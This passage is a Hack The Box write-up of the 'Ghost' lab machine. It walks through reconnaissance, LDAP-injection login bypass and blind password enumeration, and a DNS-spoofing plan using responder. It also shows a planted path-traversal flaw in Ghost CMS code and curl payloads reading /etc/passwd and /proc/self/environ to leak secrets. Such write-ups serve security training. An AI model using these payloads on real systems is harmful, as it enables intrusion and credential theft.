</strong><strong>NT SERVICE\MSSQLSERVER</strong>. From there, we leveraged <strong>SeImpersonatePrivilege</strong> for further escalation, Our compromised <strong>machine was in another domain</strong> that had a <strong>bidirectional trust</strong> with ghost.htb. This machine had <strong>DCSync privileges</strong> and was also a member of the <strong>Enterprise Domain Controllers</strong> group, granting us <strong>DS-Replication-Get-Changes</strong> privileges over GHOST.HTB. Using this, we performed a <strong>DCSync attack</strong>, extracting <strong>all domain hashes</strong> and achieving <strong>full control</strong> over the environment.</p><p>This machine <strong>required deep enumeration, precise chaining of vulnerabilities, and a solid understanding of Active Directory security concepts</strong>. Let’s dive into the details!</p><h3>Reconnaissance</h3><h4>Network Scanning:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NsXR05n_IjboqiSJg_AgA.png" /></figure><p>The Nmap scan reveals several interesting services running on the target machine, with a mix of Windows and Linux services. <br>A Windows domain controller DC01 for the ghost.htb domain, hosting services such as Kerberos, LDAP, SMB, and DNS.<br>Key findings include ports related to Active Directory (389/636 for LDAP, 88 for Kerberos, 445 for SMB), and RDP (3389). <br>Additionally, Microsoft SQL Server 2022 is running on port 1433, offering a potential target for exploitation.<br>The presence of a domain controller (DC01) and a potential ghost-related application (port 8008) suggests that this is likely a domain-joined Windows machine with a web application running on Linux VM. <br>We would focus on investigating the web application on port 8008 for vulnerabilities</p><p>Let’s start by adding the domain to hosts file for local resolution</p><pre>echo &#39;10.10.11.45  ghost.htb  dc01.ghost.htb&#39; | sudo tee -a /etc/hosts</pre><h4>Service Enumeration:</h4><h4>1. SSL/TLS Certificate</h4><pre>openssl s_client -connect 10.10.11.24:3269 -showcerts </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhpFbPN2YZ6Pheyx-71xOA.png" /></figure><p>The certificate is self-signed, meaning the server is using its own authority to sign the certificate.<br>The presence of federation.ghost.htb in the acceptable client certificate CA names suggests that the environment may be using <strong>Active Directory Federation Services (ADFS)</strong> for cross-domain authentication or identity management. Federation often involves single sign-on (SSO) systems, where multiple domains or systems authenticate users via a centralized identity provider.</p><blockquote><strong>New subdomain to add to the hosts file for local resolution</strong></blockquote><h4><strong>2. Active Directory related services</strong></h4><p>In a typical Active Directory environment, enumeration often begins with LDAP and SMB to gather information such as users, shares, or other data that might aid in gaining initial access. However, for this machine, attempts to enumerate LDAP and SMB with null authentication yielded no significant information.<br>As a result, the presence of web services becomes a more promising target for enumeration and potential initial access.</p><pre>ldapsearch -H ldap://10.10.11.24 -x -b &quot;DC=ghost,DC=htb&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRLDFpBIIolw7BuZvw6vpQ.png" /></figure><pre>ldapsearch-ad -l 10.10.11.24 -t info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wy1DpgiXHwy-rOIdQ-zc1w.png" /></figure><p>Same For SMB and RPC null auth is not allowed and nothing we have from them</p><h4>3. For <strong>Web</strong> Services:</h4><p>Always run Burp Suite in the background with the proxy enabled (without interception) while working with a web application for traffic Logging to monitor these requests after the enumeration process.</p><ul><li><strong>Port 80 (HTTP)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRQFaLKqXMnzRmyx_Fn-GQ.png" /><figcaption><a href="http://ghost.htb/">http://ghost.htb/</a></figcaption></figure><p>A custom error page appears on the IIS side when the site is stopped. Directory brute-forcing yielded no significant results on this port, so the proxy may not be listening on it.</p><ul><li><strong>Port 443 (HTTPS)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WbFZ0ICTC4yltEomIRVXmw.png" /><figcaption><a href="https://ghost.htb/">https://ghost.htb/</a></figcaption></figure><p>Nothing on this port the server is actively rejecting or resetting the connection. HTTPS service on the target is either misconfigured, restricted, or not intended for public interaction.</p><ul><li><strong>Port 8443 (HTTPS, nginx, Ghost Core)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxVjPR_lzVuS3AT2e2YDCg.png" /><figcaption><a href="https://ghost.htb:8443/login">https://ghost.htb:8443/login</a></figcaption></figure><p>The main page redirects us to /login, which displays a button. Clicking the button redirects us to https://ghost.htb:8443/api/login, where we are redirected to SSO authentication via a federation service.</p><pre>https://federation.ghost.htb/adfs/ls/?SAMLRequest=nVNNb6MwEP0ryPcA5qNLrJAqSw6N1N1FCe2hl5UxkwYJbOoZ2uy%2FX0HCNodtDrn6zbx58%2BZ5cX9sG%2BcdLNZGp4y7PrtfLlC2TSdWPR30Ft56QHKObaNRjEDKequFkVij0LIFFKTEbvXjUQSuLzpryCjTMGezTtnvMAjn32LOIQFfzSGCsrzjkYp54AdJxJMyjPcc4pA5z5OIwPWZs0HsYaORpKaUBX4Qz3w%2BC%2B4KnwvORei782T%2Bwpz8PO57ratav17XVp6KUDwURT7Lf%2B0K5qwBqdaSxtEHog6F5%2B2hAju%2Bua8Hg%2BQeqPRktUevQY85K0SwA5oZjX0Ldgf2vVbwtH385FDGwme3SKIoPFEMJnqdQdoCdkYjsJPjYtzZXlh9fRs5qWDLKzMX3gX3dNqfsoXNOjdNrf7cctpV05iPzIIkSBnZHpg3UZ8DA9UYn8xoguNN8clM20lb43AXOEpFk02XxFkjEbewv8W0q2VKqIEaUOQS8cPYakgaKIKqsFJjZyydrf2fnuUJ%2B8KOf%2BjlF1v%2BBQ%3D%3D&amp;SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&amp;Signature=Gf3Nu%2FDoujvLeYQiNZYzw2H5da%2F7HhfVCqSnLr5QxfL%2Bzj%2BaZRJrPJAOk3gsKdpD1LXQbkMramPzhbqZPTSjl38itou26lCMbRQTZOXAecX8dhQFlzR%2BYTGg3Diw8%2FC549xL98MykEQYPyByVxib9%2FUqRyYUnFz6YQshUOLdhhH%2BaMmPm2W2BWSpsH70ZRA0HFbSU0AEdl3RhQ6VUD8g3nysfo07v%2BAysySZz5fDg4C5loOscUZaonBgXbAqxmuWaccwdxIzRckRUdrd7J22Xa%2BL6CQmgH2Bv3b%2BYXldScRknP8CuS8YjSbp2n99ld2hAsG46za0J8OY9NJFodVmxA%3D%3D</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elrekykmy-TwkLTYxwnNJg.png" /><figcaption><a href="https://federation.ghost.htb/adfs/ls/?SAMLRequest=nVNNb6MwEP0ryPcA5qNLrJAqSw6N1N1FCe2hl5UxkwYJbOoZ2uy%2FX0HCNodtDrn6zbx58%2BZ5cX9sG%2BcdLNZGp4y7PrtfLlC2TSdWPR30Ft56QHKObaNRjEDKequFkVij0LIFFKTEbvXjUQSuLzpryCjTMGezTtnvMAjn32LOIQFfzSGCsrzjkYp54AdJxJMyjPcc4pA5z5OIwPWZs0HsYaORpKaUBX4Qz3w%2BC%2B4KnwvORei782T%2Bwpz8PO57ratav17XVp6KUDwURT7Lf%2B0K5qwBqdaSxtEHog6F5%2B2hAju%2Bua8Hg%2BQeqPRktUevQY85K0SwA5oZjX0Ldgf2vVbwtH385FDGwme3SKIoPFEMJnqdQdoCdkYjsJPjYtzZXlh9fRs5qWDLKzMX3gX3dNqfsoXNOjdNrf7cctpV05iPzIIkSBnZHpg3UZ8DA9UYn8xoguNN8clM20lb43AXOEpFk02XxFkjEbewv8W0q2VKqIEaUOQS8cPYakgaKIKqsFJjZyydrf2fnuUJ%2B8KOf%2BjlF1v%2BBQ%3D%3D&amp;SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&amp;Signature=Gf3Nu%2FDoujvLeYQiNZYzw2H5da%2F7HhfVCqSnLr5QxfL%2Bzj%2BaZRJrPJAOk3gsKdpD1LXQbkMramPzhbqZPTSjl38itou26lCMbRQTZOXAecX8dhQFlzR%2BYTGg3Diw8%2FC549xL98MykEQYPyByVxib9%2FUqRyYUnFz6YQshUOLdhhH%2BaMmPm2W2BWSpsH70ZRA0HFbSU0AEdl3RhQ6VUD8g3nysfo07v%2BAysySZz5fDg4C5loOscUZaonBgXbAqxmuWaccwdxIzRckRUdrd7J22Xa%2BL6CQmgH2Bv3b%2BYXldScRknP8CuS8YjSbp2n99ld2hAsG46za0J8OY9NJFodVmxA%3D%3D">https://federation.ghost.htb/adfs/ls/?SAMLRequest=</a>…</figcaption></figure><p>The request to https://federation.ghost.htb/adfs/ls/ leads to the normal AD FS sign-in page, which requires credentials to log in. We only have the SAML request from the redirection to decode.</p><p>SAML request</p><pre>nVNNb6MwEP0ryPcA5qNLrJAqSw6N1N1FCe2hl5UxkwYJbOoZ2uy%2FX0HCNodtDrn6zbx58%2BZ5cX9sG%2BcdLNZGp4y7PrtfLlC2TSdWPR30Ft56QHKObaNRjEDKequFkVij0LIFFKTEbvXjUQSuLzpryCjTMGezTtnvMAjn32LOIQFfzSGCsrzjkYp54AdJxJMyjPcc4pA5z5OIwPWZs0HsYaORpKaUBX4Qz3w%2BC%2B4KnwvORei782T%2Bwpz8PO57ratav17XVp6KUDwURT7Lf%2B0K5qwBqdaSxtEHog6F5%2B2hAju%2Bua8Hg%2BQeqPRktUevQY85K0SwA5oZjX0Ldgf2vVbwtH385FDGwme3SKIoPFEMJnqdQdoCdkYjsJPjYtzZXlh9fRs5qWDLKzMX3gX3dNqfsoXNOjdNrf7cctpV05iPzIIkSBnZHpg3UZ8DA9UYn8xoguNN8clM20lb43AXOEpFk02XxFkjEbewv8W0q2VKqIEaUOQS8cPYakgaKIKqsFJjZyydrf2fnuUJ%2B8KOf%2BjlF1v%2BBQ%3D%3D</pre><p>Using this <a href="https://www.scottbrady.io/tools/saml-parser">saml-parser</a>, the decoded SAML request is as follows</p><pre>&lt;samlp:AuthnRequest<br>  xmlns:samlp=&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;<br>  ID=&quot;_32397511e8e0c9e4ebb614c512028418b35f1e53&quot;<br>  Version=&quot;2.0&quot;<br>  IssueInstant=&quot;2025-01-26T01:11:30.989Z&quot;<br>  ProtocolBinding=&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&quot;<br>  Destination=&quot;https://federation.ghost.htb/adfs/ls/&quot;<br>  AssertionConsumerServiceURL=&quot;https://core.ghost.htb:8443/adfs/saml/postResponse&quot;&gt;<br>  &lt;saml:Issuer<br>    xmlns:saml=&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&gt;https://core.ghost.htb:8443&lt;/saml:Issuer&gt;<br>  &lt;samlp:NameIDPolicy<br>    xmlns:samlp=&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;<br>    AllowCreate=&quot;true&quot; /&gt;<br>  &lt;samlp:RequestedAuthnContext<br>    xmlns:samlp=&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;<br>    Comparison=&quot;exact&quot;&gt;<br>    &lt;saml:AuthnContextClassRef<br>      xmlns:saml=&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&gt;urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport&lt;/saml:AuthnContextClassRef&gt;<br>  &lt;/samlp:RequestedAuthnContext&gt;<br>&lt;/samlp:AuthnRequest&gt;</pre><p>We discovered a new subdomain https://core.ghost.htb:8443, so add it to the hosts file. Upon visiting it, it appears to display the same page as the index page on port 8443. <br>Nothing more to do here for now.</p><ul><li><strong>Port 8008 (HTTP, nginx, Ghost CMS)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J0FdWWmWy1JByKot8T1NMw.png" /><figcaption><a href="http://ghost.htb:8008/">http://ghost.htb:8008/</a></figcaption></figure><p>The index page shows only a single post, a useless search function, and a footer with Powered by Ghost indicating the site is using the Ghost blogging platform.</p><p>Ghost CMS is an open-source blogging platform for professional publishers to create, share, and grow a business around their content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w1Dpsa_AA2H_XTTDt8xTOA.png" /><figcaption><a href="http://ghost.htb:8008/embarking-on-the-supernatural-journey-welcome-to-ghost/">http://ghost.htb:8008/embarking-on-the-supernatural-journey-welcome-to-ghost/</a></figcaption></figure><p>Nothing interesting in the post — seems to be the default post from the platform. After that, I checked the robots.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*6M6vbQUJjeVY1N7RTR1EqA.png" /><figcaption><a href="http://ghost.htb:8008/robots.txt">http://ghost.htb:8008/robots.txt</a></figcaption></figure><p>Upon reviewing the directories listed there, one of them stood out: the /ghost/ directory. This directory is a login page for the Ghost CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-TEx2N_1tmn73v1HXS3lBA.png" /><figcaption><a href="http://ghost.htb:8008/ghost">http://ghost.htb:8008/ghost</a></figcaption></figure><p>In this step, I decided to start directory brute-forcing using a common directory wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dxM4DBBaK92ytTP_H15r5g.png" /></figure><p>Once started it gave us an error, If the server is returning a 301 status code (Moved Permanently) for non-existing URLs. It’s a method to try to to prevent directory enumeration because it increases difficulty to distinguish between existing and non-existing paths. But we can use this command to our advantage:</p><pre>gobuster dir -u &quot;http://ghost.htb:8008&quot; -t 50 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -s &quot;200,204,302,307,401,403&quot; -f -b &quot;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xU3alWHSm2mFaCT6YWGOyg.png" /></figure><p>Nothing interesting was found, so I decided to create a custom wordlist for GHOST. Since it is open-source, it’s easier to generate one, it is stated here how to create a custom one for open source tool</p><p><a href="https://github.com/Zyad-Elsayed/wordlists/blob/main/ghost.list">wordlists/ghost.list at main · Zyad-Elsayed/wordlists</a></p><p>Using the custom wordlist that has been created…</p><pre>gobuster dir -u &quot;http://ghost.htb:8008&quot; -t 50 -w Ghost_wordlist -s &quot;200,204,302,307,401,403&quot; -f -b &quot;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MRMNurh6etd7M9LOX7vyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXeZeq8-drz0eO2EFdpRpw.png" /></figure><p>But once again, nothing important was found as it requires GHOST CMS authentication. After some enumeration with no progress, I decided to start VHOST fuzzing.</p><blockquote><em>VHOST(Virtual Host) refers to the practice of running more than one website (such as </em>company1.example.com<em> and </em>company2.example.com<em>) on a single machine.</em></blockquote><pre>ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H &#39;Host: FUZZ.ghost.htb&#39; -u http://10.10.11.24:8008 -t 200 -fs 7676,0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1yBWCafL0dwKe_YTSb6hw.png" /></figure><p>The first subdomain was invalid, just a reflection to the main site (<a href="http://ghost.htb:8008/">http://ghost.htb:8008</a>). I added the two other subdomains to the hosts file for further checking.</p><h4>Starting by the Gitea</h4><p>Gitea is a lightweight, self-hosted Git service that provides version control, issue tracking, and code collaboration features. It is open-source and designed for ease of installation and minimal resource consumption</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mVIIZHl7WGEcZkB9D1PrKA.png" /><figcaption><a href="http://gitea.ghost.htb:8008/">http://gitea.ghost.htb:8008/</a></figcaption></figure><p>Two pages</p><ul><li>Sign in page</li></ul><p>Gitea does not come with default credentials, and we do not have any credentials yet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laP9ZvwoSugwE-De-xk2CA.png" /><figcaption><a href="http://gitea.ghost.htb:8008/user/login">http://gitea.ghost.htb:8008/user/login</a></figcaption></figure><ul><li>Explore directory, for exploring users, repositories, organizations</li></ul><p>No public repositories or organizations found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAhFzZnacmEmfjGJ1XFiCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qgHtgz5cC5ZKV3bMeBLpg.png" /></figure><p>But we identified two users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWnY8pEUDOz1YzmH8EJOpg.png" /></figure><p>Both users are valid, So make a list of these users for future use gitea_temp_principal , cassandra.shelto</p><pre> kerbrute_linux_amd64 userenum --dc 10.10.11.24 -d ghost.htb users_list </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JahhwME1ZwlFgSyDPD5t0g.png" /></figure><p>Nothing to do without cred unless we find exploit for the Gitea Version 1.21.3</p><h4>Intranet subdomain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m-NzNWUMwBelz_VSUETs9A.png" /><figcaption><a href="http://intranet.ghost.htb:8008/login">http://intranet.ghost.htb:8008/login</a></figcaption></figure><p>Login page once more over what we have without anything promising</p><h3>Exploitation</h3><p>While exploring Burp Suite traffic logs i found this request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mHtlbnwIfVZHvmhzSE3WqA.png" /></figure><p>The form contains fields such as ldap-username and ldap-secret, suggesting an interaction with an LDAP server. If these fields are improperly validated, there could be opportunities for LDAP injection attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*cIWw_L4C-tGqXsIvwlQxuw.png" /></figure><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection">PayloadsAllTheThings/LDAP Injection at master · swisskyrepo/PayloadsAllTheThings</a></p><p><strong>LDAP Injection</strong> occurs when an application fails to properly sanitize user input before including it in an LDAP query. This vulnerability allows attackers to manipulate the LDAP query structure, potentially bypassing authentication or accessing unauthorized data. For example, injecting * in a username field may match all users due to the wildcard nature of * in LDAP queries. Additionally, <strong>blind LDAP injection</strong> can be used to infer valid credentials by observing application behavior or response times after submitting crafted queries, enabling password enumeration or brute-force attacks.</p><p>To test for LDAP injection, payloads were injected into the ldap-username or ldap-secret fields to evaluate the authentication mechanism.</p><ul><li>When wrong credentials were submitted, the application returned a 200 OK response with this error message:</li></ul><pre>0:[&quot;$@1&quot;,[&quot;cprT2WY1sZ8jzOGNk7ojt&quot;,null]]<br>1:{&quot;error&quot;:&quot;Invalid combination of username and secret&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URFIB4wEG-wv8Y288zTBEQ.png" /></figure><ul><li>However, injecting the fields with * resulted in a 303 See Other response and included a Set-Cookie header with a token, indicating vulnerability to LDAP injection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_PapmGbpk1VvLXqVSWTXw.png" /></figure><p>Using * in both fields user and secret we were able to authenticate as the first user in db which is kathryn.holland</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAP2beA6UrShD6GxW0LMnw.png" /></figure><p>From the news page, domain authentication to Gitea is disabled; only <strong>gitea_temp_principal</strong> can be used. Also, add the Bitbucket subdomain to the hosts file — we may need it later.</p><p>As mentioned above, the vulnerable service to LDAP injection does not only grant us authentication bypass but also allows us to enumerate user passwords blindly based on behavior, similar to blind SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-mScXTVjzzX9JL342Mp2HQ.png" /></figure><p>So, I made a simple script to automate this process. You can check it here:</p><p><a href="https://github.com/Zyad-Elsayed/ghost.htb.git">GitHub - Zyad-Elsayed/ghost.htb: LDAP Injection Script for intranet.ghost.htb:8008</a></p><p>This script leverages regex strength by authenticating with char* for each character to enumerate the full password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*k50V2mhAxS1s5Re_WJMV4w.gif" /></figure><p>We have now a valid password for <strong>gitea_temp_principal </strong>user</p><p>Enumerating the other pages in the intranet site, save Usernames in file for later</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvPbFybp7fojHEP806jSdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xs5GaIlHR13vz3abHN6LCw.png" /></figure><p>From the Forum page there is a post indicate<strong> the migration for Bitbucket is incomplete</strong>, and its DNS entry bitbucket.ghost.htb has not been configured.<br>This misconfiguration presents an opportunity for <strong>DNS spoofing</strong>. By spoofing the DNS record, we could redirect traffic intended for Bitbucket to our machine where we setup a listener. Since a script is running in the environment to check pipeline results, we could capture authentication requests, potentially intercepting NTLM hashes, API keys, or even plaintext credentials. <br>We would use <a href="https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py">dnstool.py</a> from <a href="https://github.com/dirkjanm/krbrelayx.git">krbrelayx</a> to configure the DNS record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--Bmr3kvPw7J5FzJrhHBog.png" /></figure><ol><li>Setup listener <br>sudo responder -I tun0</li><li>Add a DNS record for bitbucket.ghost.htb pointing to our IP using credentials we used earlier</li></ol><pre>python3 dnstool.py -u GHOST.HTB\\gitea_temp_principal -p &#39;szrr8kpc3z6onlqf&#39; GHOST.HTB -r bitbucket.ghost.htb -a add -d 10.10.16.44 -dns-ip 10.10.11.24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hIsZ2sLtrNeB5WwFRxrQpA.png" /></figure><p>Couldn’t bind with the creds we have; it makes sense, as the user is referring to Gitea. I will leave this step for later when we gain valid domain creds. Now, I will use these credentials to authenticate to Gitea.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KditaZSVb-tTOa_oo4H62g.png" /></figure><p>We have two repositories</p><h4>1. Blog Repository</h4><p>Only one commit, there is no old commits to check</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_CVnff4lt3dOdoaU2aHa6Q.png" /></figure><ul><li>public API key a5af628828958c976a3b6cc81a</li><li>Reviewing posts-public.js</li></ul><pre>const models = require(&#39;../../models&#39;);<br>const tpl = require(&#39;@tryghost/tpl&#39;);<br>const errors = require(&#39;@tryghost/errors&#39;);<br>const {mapQuery} = require(&#39;@tryghost/mongo-utils&#39;);<br>const postsPublicService = require(&#39;../../services/posts-public&#39;);<br>const getPostServiceInstance = require(&#39;../../services/posts/posts-service&#39;);<br>const postsService = getPostServiceInstance();<br><br>const allowedIncludes = [&#39;tags&#39;, &#39;authors&#39;, &#39;tiers&#39;, &#39;sentiment&#39;];<br><br>const messages = {<br>    postNotFound: &#39;Post not found.&#39;<br>};<br><br>const rejectPrivateFieldsTransformer = input =&gt; mapQuery(input, function (value, key) {<br>    const lowerCaseKey = key.toLowerCase();<br>    if (lowerCaseKey.startsWith(&#39;authors.password&#39;) || lowerCaseKey.startsWith(&#39;authors.email&#39;)) {<br>        return;<br>    }<br><br>    return {<br>        [key]: value<br>    };<br>});<br><br>function generateOptionsData(frame, options) {<br>    return options.reduce((memo, option) =&gt; {<br>        let value = frame.options?.[option];<br><br>        if ([&#39;include&#39;, &#39;fields&#39;, &#39;formats&#39;].includes(option) &amp;&amp; typeof value === &#39;string&#39;) {<br>            value = value.split(&#39;,&#39;).sort();<br>        }<br><br>        if (option === &#39;page&#39;) {<br>            value = value || 1;<br>        }<br><br>        return {<br>            ...memo,<br>            [option]: value<br>        };<br>    }, {});<br>}<br><br>function generateAuthData(frame) {<br>    if (frame.options?.context?.member) {<br>        return {<br>            free: frame.options?.context?.member.status === &#39;free&#39;,<br>            tiers: frame.options?.context?.member.products?.map((product) =&gt; {<br>                return product.slug;<br>            }).sort()<br>        };<br>    }<br>}<br>module.exports = {<br>    docName: &#39;posts&#39;,<br><br>    browse: {<br>        headers: {<br>            cacheInvalidate: false<br>        },<br>        cache: postsPublicService.api?.cache,<br>        generateCacheKeyData(frame) {<br>            return {<br>                options: generateOptionsData(frame, [<br>                    &#39;include&#39;,<br>                    &#39;filter&#39;,<br>                    &#39;fields&#39;,<br>                    &#39;formats&#39;,<br>                    &#39;limit&#39;,<br>                    &#39;order&#39;,<br>                    &#39;page&#39;,<br>                    &#39;absolute_urls&#39;,<br>                    &#39;collection&#39;<br>                ]),<br>                auth: generateAuthData(frame),<br>                method: &#39;browse&#39;<br>            };<br>        },<br>        options: [<br>            &#39;include&#39;,<br>            &#39;filter&#39;,<br>            &#39;fields&#39;,<br>            &#39;formats&#39;,<br>            &#39;limit&#39;,<br>            &#39;order&#39;,<br>            &#39;page&#39;,<br>            &#39;debug&#39;,<br>            &#39;absolute_urls&#39;,<br>            &#39;collection&#39;<br>        ],<br>        validation: {<br>            options: {<br>                include: {<br>                    values: allowedIncludes<br>                },<br>                formats: {<br>                    values: models.Post.allowedFormats<br>                }<br>            }<br>        },<br>        permissions: true,<br>        async query(frame) {<br>            const options = {<br>                ...frame.options,<br>                mongoTransformer: rejectPrivateFieldsTransformer<br>            };<br>            const posts = await postsService.browsePosts(options);<br>            const extra = frame.original.query?.extra;<br>            if (extra) {<br>                const fs = require(&quot;fs&quot;);<br>                if (fs.existsSync(extra)) {<br>                    const fileContent = fs.readFileSync(&quot;/var/lib/ghost/extra/&quot; + extra, { encoding: &quot;utf8&quot; });<br>                    posts.meta.extra = { [extra]: fileContent };<br>                }<br>            }<br>            return posts;<br>        }<br>    },<br><br>    read: {<br>        headers: {<br>            cacheInvalidate: false<br>        },<br>        cache: postsPublicService.api?.cache,<br>        generateCacheKeyData(frame) {<br>            return {<br>                options: generateOptionsData(frame, [<br>                    &#39;include&#39;,<br>                    &#39;fields&#39;,<br>                    &#39;formats&#39;,<br>                    &#39;absolute_urls&#39;<br>                ]),<br>                auth: generateAuthData(frame),<br>                method: &#39;read&#39;,<br>                identifier: {<br>                    id: frame.data.id,<br>                    slug: frame.data.slug,<br>                    uuid: frame.data.uuid<br>                }<br>            };<br>        },<br>        options: [<br>            &#39;include&#39;,<br>            &#39;fields&#39;,<br>            &#39;formats&#39;,<br>            &#39;debug&#39;,<br>            &#39;absolute_urls&#39;<br>        ],<br>        data: [<br>            &#39;id&#39;,<br>            &#39;slug&#39;,<br>            &#39;uuid&#39;<br>        ],<br>        validation: {<br>            options: {<br>                include: {<br>                    values: allowedIncludes<br>                },<br>                formats: {<br>                    values: models.Post.allowedFormats<br>                }<br>            }<br>        },<br>        permissions: true,<br>        query(frame) {<br>            const options = {<br>                ...frame.options,<br>                mongoTransformer: rejectPrivateFieldsTransformer<br>            };<br>            return models.Post.findOne(frame.data, options)<br>                .then((model) =&gt; {<br>                    if (!model) {<br>                        throw new errors.NotFoundError({<br>                            message: tpl(messages.postNotFound)<br>                        });<br>                    }<br><br>                    return model;<br>                });<br>        }<br>    }<br>};</pre><p>This code snippet is vulnerable to <strong>Local File Inclusion LFI</strong> because the extra parameter is passed directly into fs.existsSync(extra) and fs.readFileSync(&quot;/var/lib/ghost/extra/&quot; + extra). Since we control extra, we may be able to read arbitrary files on the system.</p><pre>if (extra) {<br>    const fs = require(&quot;fs&quot;);<br>    if (fs.existsSync(extra)) {<br>        const fileContent = fs.readFileSync(&quot;/var/lib/ghost/extra/&quot; + extra, { encoding: &quot;utf8&quot; });<br>        posts.meta.extra = { [extra]: fileContent };<br>    }<br>}</pre><p>Here is the documentation of Ghost API</p><p><a href="https://ghost.org/docs/content-api/">Ghost Content API Documentation</a></p><p><strong>Crafting our payload</strong></p><p><strong>Base URL:</strong> https://ghost.htb:8008/ghost/api/content/ <br><strong>Route:</strong> posts from the code<br><strong>Parameter: </strong>extra<strong><br>Key: </strong>key=a5af628828958c976a3b6cc81a</p><pre>curl -s &quot;http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../etc/passwd&amp;key=a5af628828958c976a3b6cc81a&quot; | jq &#39;.meta.extra&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lg2lD5sKZj1TWFMpxkhQ_Q.png" /></figure><p>We now have LFI. At this point, there are many files to explore, such as configuration files, SSH keys, etc. However, the first thing I do when I have LFI is read the /proc/self/ files to check the current process&#39;s running command, environment variables for credentials or secrets.</p><pre>curl -s &quot;http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../proc/self/environ&amp;key=a5af628828958c976a3b6cc81a&quot; | jq &#39;.meta.extra&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wR4YMGT4MgOGDQWBsjpYA.png" /></figure><p>For more clear version and remove the null value</p><pre>curl -s &quot;http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../proc/self/environ&amp;key=a5af628828958c976a3b6cc81a&quot; | jq -r &#39;.meta.extra.&quot;../../../../proc/self/environ&quot; | gsub(&quot;\\u0000&quot;; &quot;   &quot;)&#39;</pre><p>output</p><pre>HOSTNAME=26ae7990f3dddatabase__debug=falseYARN_VERSION=1.22.19PWD=/var/lib/ghostNODE_ENV=productiondatabase__connection__filename=content/data/ghost.dbHOME=/home/nodedatabase__client=sqlite3url=@Xedatabase__useNullAsDefault=trueGHOST_CONTENT=/var/lib/ghost/contentSHLVL=0GHOST_CLI_VERSION=1.25.3GHOST_INSTALL=/var/lib/ghostPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE_VERSION=18.19.0GHOST_VERSION=5.78.0&quot;&gt;http://ghost.htbDEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xedatabase__useNullAsDefault=trueGHOST_CONTENT=/var/lib/ghost/contentSHLVL=0GHOST_CLI_VERSION=1.25.3GHOST_INSTALL=/var/lib/ghostPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE_VERSION=18.19.0GHOST_VERSION=5.78.0</pre><p>We obtained the 